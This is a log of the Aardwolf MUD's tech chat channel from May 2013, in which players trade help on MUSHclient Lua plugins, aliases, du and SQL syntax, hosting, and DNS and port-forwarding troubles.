T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: well, just using alias won't work no matter how you do the ;s
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Yeah I get it now.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: I was trying to use an aardwolf alias to send a mushclient command which doesn't work so well :-P
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Thanks for the help and I apologize again for the oops
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: if you know nothing about lua is it hard to adapt a plugin so it will appear in its own miniwindow?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: not really, just steal code
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Bast Tech: yes, and what plugin are you talking about
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I just took the map miniwin code and formatted it for my first miniwim
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: miniwin*
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Hanslanda Tech: yes, because in order to do the task you want you also have to learn the code language.  That's double the work, or more if something goes wrong and you have to figure out what.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: nah, I don't know jack in Lua but have multiple miniwin plugins
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Arnica Tech: The answer you seek lies within
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: the plugin is called gear written by Moshu 
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: you do have to be able to logic things out, but you don't need Lua experience
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Once you know your first language it's all syntax from there anyways.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: does that plugin already have a non-mini-window and you want to convert that to the miniwin format, or is there currently no "output" to it?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Bast Tech: I have a miniwindow for eq, http://bastmush.googlecode.com
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: Exactly.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: It already has an output I just want it in it's own window :)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Bast Tech: adding the click functionality that moshu uses is difficult to translate into a miniwindow
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Bast Tech: if you don't know anything about miniwindows
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: What is life without a few challenges :)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: look at my board, scan or planes plugins to see how to make a miniwin that adheres to Fiendish's "front/back/reset" stuff
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: yeah, for clicking stuff, the only plugin I have using hyperlinks is an lbid one, but that's putting a hyperlink into main output which opens a miniwin on click
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Bast Tech: well, my eq miniwindow can be sorted by level, can be filtered by eq type, can be clicked to do various actions like wear, id, etc..
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: I've never made clickable miniwin, other than Fiendish's framework giving the right-click menu stuff
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: nod, throw that in with the eqdb and you should be set for eq stuff
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Bast how do I stop it from identifying everything I mouse over?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Bast Tech: left click the M->Toggle->Show Identify Window on Mouseover
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Phuriee Tech: Bast now how do I stop it from showing me the identify lol
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Arnica Tech: Just curious. I assume, so correct me if I am wrong, that Aardwolf has some database component. Does it use SQL Server, or Oracle, or something else?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: mysql
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Arnica Tech: thank you
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: SQL server is a microsoft windows program, Oracle is a rather expensive commercial option
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Just clarifying, you DID mean Aardwolf, right, not MUSH? :P
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: the aard MUSHclient package uses sqlite
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Nods, MUSH uses SQLite.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: which is a flat-file-based database which is good to embed into things
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ixle Tech: Think Aard will swap to mariadb? I know nothing about db's just heard the mariadb news.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: why would they
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Bast Tech: what aard uses works, so why change?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ixle Tech: I don't know, that's why I ask. Does mariadb have anything to offer Aard mysql doesn't.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Trachx Tech: mariadb is for of mysql
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: it's good for mariahdb to exist going forward, but a lot of the news is kneejerk and not based in reality
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Trachx Tech: fork
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: I love that Monty, who owned mysql as a corporation, sold it to Sun/Oracle, and now is like "Whoa, now it's owned by a corporation, what if they go evil!!!"
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: mysql had never been a community-owned project...nothing fundamentally changed with the Sun/Oracle purchase
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Hanslanda Tech: any cmud users using the sql .item() syntax to set a field value?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ixle Tech: Hrm, how do I get unix du command to just display sizes of directories and not the files within?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tharnin Tech: du -h -s dirname
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ixle Tech: I want to see the sizes of each directory under my home dir
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tharnin Tech: du -h --max-depth=1 . # Also useful for "how big are all the directories in this one?"
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tharnin Tech: Ahh, yeah, try the max-depth thing then.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: the -s is what makes it not go down into the directory...the -h is for it to say M, G, etc instead of big numbers
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tharnin Tech: Nod. I just do -h by default now, for my own sanity.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: just du -sh /home/me/*
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ixle Tech: oh yeah I always use -h
T3/r7/2013-05-05.txt.gz:{chan ch=tech}JunkInThe Torunkes Tech: i like it when she goes down my directory.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ixle Tech: --max-depth seems to work
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ixle Tech: du -sh * works too just includes files in the home dir as well
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: I have .aliases file with du aliased to du -sh, and ls aliased to ls -la (color options depending on system)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: yup, that's what I use to find drive hogs
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: Ixle nods at you in agreement. 
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: although if you want to sort, then you don't want to use -h
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ixle Tech: I just grep 'M'
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: heh, guess you don't have any Gs then
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ixle Tech: Nah, 200mb limit on this shell account
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ixle Tech: I'd love to switch from this shell account to a decent VPS but I haven't found a cost comparable solution with quite the same cpu or network connection. Testing all done by "feel" so far.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: heh, http://sdf.org/?tutorials/metaarray
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ixle Tech: Lord, 200GB
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: it's not a VPS, just an account on their servers, but at $36/year with full cron, proxy, mysql, etc available, it's nice :-)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: for VPS I use Panix
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Tech: and I do nightly rsync of the whole VPS to the sdf account for a nice backup :-)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Ixle Tech: Awesome, I'm going to read up on both.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Anyone know of the Lua equivalent of eval in similar languages? To be more precise, is there a way to pass in a string such as "if true then\nif not false then Execute('foobar') end end" and have it evaluate?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Hanslanda Tech: how can a condition be not-false and not-true?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That was just an example
T3/r7/2013-05-05.txt.gz:{chan ch=tech}ElFeneri Tech: quantum physics
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I wasn't concerned with the actual contents of the string :P
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Prince Wario Tech: eternity
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I just want to know how to execute a string as a function
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Are you saying that foobar is a variable that you want to contain a function of your choosing via script?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Hanslanda Tech: what language-that's-not-lua are you looking to do this in?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Book of Etzli Tech: He wants to do it in Lua.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Book of Etzli Tech: He's just comparing it to 'eval' in other languages.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Where Execute(GetVariable('foobar')) will re-evaluate it, it won't evaluate it as a script, so can't contain any Lua code.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Why not just return a function of it?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: doString is what I was looking for.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Book of Etzli Tech: Heh, forgot about doString.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Daloran Tech: So.. totally preference question here.. large PC display for general purpose use/gaming.. Projector? Or LCD TV.
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Aurelia Tech: I have my pagesize set to 40, but I don't get page breaks in mudlet - is there any way to fix this?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Mye Tech: is there a reason SetTimerOption(...,"second",...) would only work for "every interval" but not for "at specific time"?  using "hour" and "minute" works for both, but using "second" only works with an interval.. the help text implies it should (despite a typo of "hour" in the version i have)
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Bast Tech: I don't understand, I don't see a blue letter when I improve a skill or spell
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Bast Tech: mt
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Hanslanda Tech: in SQL, can I omit the SET section to have the entire record updated or do I have to list every field if I wish to update the entire thing?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: how to find the help files for search and destroy gui?
T3/r7/2013-05-05.txt.gz:{chan ch=tech}Zetkax Tech: ww help <-- winkles s&d help
T3/r7/2013-05-05.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: thank, just forgot what command it was :D
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Forunner Tech: hallo
T3/r7/2013-05-06.txt.gz:{chan ch=tech}IvanHoe Tech: Anyone able to recommend me a good web hosting service?
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Hollister Tech: you can try Wix I think, its free
T3/r7/2013-05-06.txt.gz:{chan ch=tech}IvanHoe Tech: Thanks, I'll take a look
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Hollister Tech: no prob. if you don't like that you can take a look at Weebly, or was it weeble?  its one of the two :)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Metzli Tech: How well would a Samsung Galaxy 10.1 Tablet run aardmush?
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: not at all unless it has an arm version
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Metzli Tech: Ty :)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: AHAHAHA... AHAHA...continues. http://blog.willbenton.com/wp-content/uploads//2008/11/bug-finder.pdf
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Jhav Tech: Haha.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Jhav Tech: Nice bids by "KurtG" and "GeorgeCantor" by the by
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Jhav Tech: Proving that SOME people did at least read the problem.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Indeed - I would almost pay the $1k to see what was produced by the 'highly experienced coders' though...
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Phuriee Tech: Is there a way to check to make sure if make an alias it doesn't break something else?  Like I want to make a alias named "port", but I'm not sure if that is already used by the game.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Ayasinda Tech: type port. If nothing show upu it's not in use by the game. (I think - Hope)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Jaenelle Tech: In general it is hard to promise a command won't be used by anything in the future, or if it is used to trigger a mobprog or goal somewhere currently. Try adding a set of characters or a symbol to the front of your aliases to make them unique? So that they are not words.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Phuriee Tech: Good ideal thanks :)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Ayasinda Tech: believe Jaenelle, not me
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: Jaenelle is bad and has a bunch of aliases that are words. :P 'hotel' :P
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Jaenelle Tech: Or just wait and see if they break something or something doesn't work, and then change them. ;)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Ayasinda Tech: most of my aliasses start with \
T3/r7/2013-05-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i use longer words or small strings 
T3/r7/2013-05-06.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: be hardcore: alias 'enter' to c 'teleport'
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Phuriee Tech: lol
T3/r7/2013-05-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: its c 'translocate' not c teleport ... get it right
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: does hotel go to aardhotel, orlando or royale? }:>
T3/r7/2013-05-06.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: teleport is more fun
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: translocate isn't hardcore
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Redryn Tech: haha
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Phuriee Tech: You could always try Goforastrollonthewestbeach for west
T3/r7/2013-05-06.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: can't run to aard hotel
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: I should spam teleport to 100% now that I can survive anywhere it'd land me :-)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: can't run there but you can have an alias that goes there
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Jaenelle Tech: Abelinc: it seems to just send the 'enter' command and go to the aardhotel. :P
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: heh, quicker to type ent (actually quicker to type "en", but I have that aliased to not do anything)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Jaenelle Tech: I think it is old and leftover from before the portal wish and I'm so used to typing it that it was difficult to change. ;)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: too many intended e, n situations where I ended up entering my portal and having to run back, so alias en echo type more slowly
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Jaenelle Tech: hehe, I have en aliased to east :P
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Jaenelle Tech: I think most of my mudside aliases are common typo problems.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Botman Tech: All of my runto aliases start with an = sign, helps avoid typos
T3/r7/2013-05-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: my mudside alias all i have is gelp==help
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Botman Tech: I also use aliases as function calls in trigger scripts, e.g. SW--AARDHOTEL is unlikely to be typed on its own and when called it takes me to the hotel.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Jaenelle Tech: I appear to have 49 mudside aliases. :P
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: one of my MUDside aliases:
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: testalias           :  one two three four five six seven eight nine ten eleven twelve thirteen fourteen fifteen sixteen seventeen eighteen nineteen twenty twenty-one twenty-two twenty-three twenty-four twenty-five twenty-six twenty-seven twenty-eight twenty-nine thirty thirty-one thirty-two thirty-three thirty-four thirty-five thirty-six thirty-seven thirty-eight thirty-nine forty forty-one forty-two forty-three forty-four forty-five forty-six forty-seven forty-eight forty-nine fifty fifty-one fifty-two fifty-three fifty-four fifty-five fifty-six fifty-seven fifty-eight fifty-nine sixty sixty-one sixty-two sixty-three sixty-four sixty-five sixty-six sixty-seven sixty-eight sixty-nine seventy seventy-one seventy-two seventy-three seventy-four seventy-five seventy-six seventy-seven seventy-eight seventy-nine eighty eighty-one eighty-two eighty-three eighty-four eighty-five eighty-six eighty-seven eighty-eight eighty-nine ninety ninety-one ninety-two ninety-three ninety-four ninety-five ninety-six ninety-
T3/r7/2013-05-06.txt.gz:{chan ch=tech}GraySong Gregor Tech: ban
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Soft and Silke Tech: Heh :)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: the alias actually ends in ninety-seven ninety
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: someone was wondering how long an aard alias could be...the answer: longer than you should need ;-)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}StarsOscar Tech: alias Supercalifragilisticexpialidocious dociousaliexpilisticfragicalirupes but that's going a bit too far, don't you think?
T3/r7/2013-05-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i have a clientside alias: thisisalongaliasthatdoesnothingitsjustaplaceholderforinfofromanotheraliaswhileimworkingonit
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And the point of that is what, to determine the max length of an alias definition? :P
T3/r7/2013-05-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: no its just to hold the data for my alias' im working on when im coding new sceiprs/re-writting in lua
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Rigaldo Tech: can i change the color(or rather the background image) of the aardwolf mush client somehow?
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I called godaddy and got mine halved because I was torn between them and fatcow at 1.99/mo
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mis :P
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Vonliege Tech: sounds like someone is changing his TV lineup
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: How does that in any way, lead to the assumption of TV related things? :P
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Vonliege Tech: it was a stretch
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Endtime Tech: just about to say same :)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: well, go to godaddy.com...what do they do? :P
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Vonliege Tech: ok.. here's the logic - and I ain't saying it's GOOD logic.....
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And there's all the context you need :P
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Endtime Tech: maybe cuz godaddy has tv commercials approximately every 3.2 seconds??
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Vonliege Tech: first... I missed the "godaddy" reference.  my mind proccessed it as god-daddy (the .com would have changed that)...  so I assumed that must be what the kids are calling something these days....
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Vonliege Tech: then... the 'fatcow' reference I assumed was slang for "madow" and in "Rachel Madow" which is a TV show...
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Vonliege Tech: and then there was a $$$ reference, which led me to think there was a change in subscription prices coming... all in all.. TV was the only thing that made sense.  given a limited amount of information
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Vonliege Tech: of course, now I know different.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: Since Rigaldo is a level 1 character with no rankings, I'm going to guess it's either a new player that will never be here again, or it was an alt created just to ask a question...for the first, nothing to do about it...for the second, maybe they'll see this answer on their main...http://code.google.com/p/aardwolfclientpackage/wiki/FAQ has an FAQ entry for that question...either way, here's the info so someone else can help answer next time it comes up ;-)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Ayasinda Tech: and what was the question?
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: Cain killd Abelinc types "tech -h rigaldo"
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Ayasinda Tech: thanks. i was already checking the boards.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: if it was asked on a board, I'd answer on the board...
T3/r7/2013-05-06.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: nice try, but we know that was your alt and now you're cleverly trying to throw suspicion from you
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: now regarding hanslanda's earlier question, I'm confused...without the set section, how is it going to know what you want the record updated to contain? You don't need to list every field, just fields for which you want an entry other than the default (whether an express default, an identity increment or NULL)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i thought set needs all fields but update does not
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: set is part of update, neither needs all fields...update rooms set name='newname' where uid=12345 will work fine
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: (provided the rooms table has name and uid fields, no matter how many other fields it also has)
T3/r7/2013-05-06.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i have always used UPDATE table (blagh,blagh) VALUES (blagh, blagh) so i dont use other ways that often
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: when a replacement area comes in, I do set UID = UID+1111000000 where roomzoneshort = 'oldshortname'
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: that lets me do things like "/oldroomname spinning in the storm" to give me the result | 2048 | Spinning in the Storm | Floating in Space |
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Malkar Tech: I'm using mushclient and I can't figure out how to set a trigger for sounds.  What do I put in the trigger section?
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Laughing Airmeith Tech: put the line you want it to trigger on, then go down to the lower right side of the dialog box and select whatever sound file you want to play
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Malkar Tech: If I put the word level in the trigger will it beep every time the mud sends me the word level?  It beeps when I click test.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yes
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Laughing Airmeith Tech: that might be a bit of a pain
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Malkar Tech: after I can get it to start working, I'll just set it to global quests, I'm using info level to test it.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Laughing Airmeith Tech: there's a trick to choosing just the right line of output for audio triggers
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Ksprite Tech: i need help with alias and semi colons
T3/r7/2013-05-06.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: use two to get one in alias ;
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: for MUSHclient aliases, just hit enter in the huge box rather than using semicolons
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Ksprite Tech: thank you :D
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tepeyollotl Tech: i have an item that every time i use it gives an Trigger function "invmon" not found or had a previous error. I have had that happen once before and someone told me how to fix by reloading a plugin, but, i can't remember which one it is. can anyone remind me, please?
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tech: tepey, try eqdb or miniwin_eq
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tepeyollotl Tech: i did both already, didn't help.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Daesilme Tech: I think there's also a broadcast invmon or something to that effect, if you haven't tried that one.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tepeyollotl Tech: i don't have that one
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Daesilme Tech: Could be remembering wrong.
T3/r7/2013-05-06.txt.gz:{chan ch=tech}Tepeyollotl Tech: ok, so it ended up i had to refresh eqdb after finding/sorting all the stuff in my bags. thanks for all the help.
T3/r7/2013-05-07.txt.gz:{chan ch=tech}CMFP Limunious Tech: is there a way in cmud to turn on like night mode?
T3/r7/2013-05-07.txt.gz:{chan ch=tech}ElFeneri Tech: yeah, sure
T3/r7/2013-05-07.txt.gz:{chan ch=tech}ElFeneri Tech: well, if he doesn't have the portal he can't get out that way
T3/r7/2013-05-07.txt.gz:{chan ch=tech}ElFeneri Tech: which is basically what I wanted to say
T3/r7/2013-05-07.txt.gz:{chan ch=tech}ElFeneri Tech: erh, mis * 3
T3/r7/2013-05-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: sorry can't solve for mis without more info... what does mis * 3 equal?
T3/r7/2013-05-07.txt.gz:{chan ch=tech}ElFeneri Tech: I'll probably tell you on another channel
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Jhav Tech: The mystery of the misthreey?
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto sits down and thinks deeply. 
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Vonliege Tech: DNS is broken - any way to work around that?  
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: if you mean your local dns then use a different dns server
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: if you are referring to a more significant dns problem then that depends on the problem
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Vonliege Tech: My ISP's DNS - which ever they have us using - I am mudding just fine, but unable to access any web pages
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: you at home or work?
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Vonliege Tech: I assumed it was a DNS issue. .might be someting else, though
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Vonliege Tech: home
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Vonliege Tech: ISP says it'll be fixed by this evening
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Vonliege Tech: they acknowlege the problem
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: then try changing the DNS server on your computer to 8.8.8.8 which is google's public dns server
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Ixle Tech: Has anyone ever had an issue where output from their ssh session would freeze up temporarily but they were still able to send commands?
T3/r7/2013-05-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yes
T3/r7/2013-05-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: all the time
T3/r7/2013-05-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: But I have Comcast.
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Ixle Tech: Another odd part of it is that it only happens when I'm on wifi and I can see the commands being input on my directly connected machine, since I'm connected to the same tmux session on both machines.
T3/r7/2013-05-07.txt.gz:{chan ch=tech}CMFP Limunious Tech: sp whats beat iphone app for mudding now im on issh
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: iMud was pretty bug free.
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Pedwiddle Tech: If I have telnetd running on my machine, could it accept a connection from blowtorch, for example?   Assuming port forwarding, etc.
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Hanslanda Tech: clients basically stop at the port they're supposed to be listening at.  From there, your router takes control to entire traffic from port X makes to port Y, at which point the Internet assumes control to make sure it gets to where it's supposed to (and even if it doesn't, there's not a darn thing you can do about it).
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Pedwiddle Tech: I guess my question was more, what protocol does blowtorch use to connect, and if I have a process listening at the specified port using that protocol, would I then be able to connect via my full client on that machine?
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Hanslanda Tech: I assume that since Blowtorch is a telnet client it would use telnet.
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Pedwiddle Tech: Well, it's a mud client, I just couldn't find anything about what protocol it uses to connect.  If it's telnet, that's fine, thanks.
T3/r7/2013-05-07.txt.gz:{chan ch=tech}Hanslanda Tech: your router should be handling the port forwarding, though, so there shouldn't be need for any extra doodads to make it work.  Set up Blowtorch to connect to your computer, set up the computer to connect to your game (using the port that gets forwarded, not the one you're forwarding to).
T3/r7/2013-05-08.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay im looking to lowercase a string then capitalize the first letter, how would i go about doing this?
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Book of Etzli Tech: In what language?
T3/r7/2013-05-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: he uses mush
T3/r7/2013-05-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: my GF wants to build/learn to program a "robot" she is looking at kits to do it, anyone have a suggestion for a good kit for that kind of thing?
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Aizma Tech: LEGO Mindstorms?
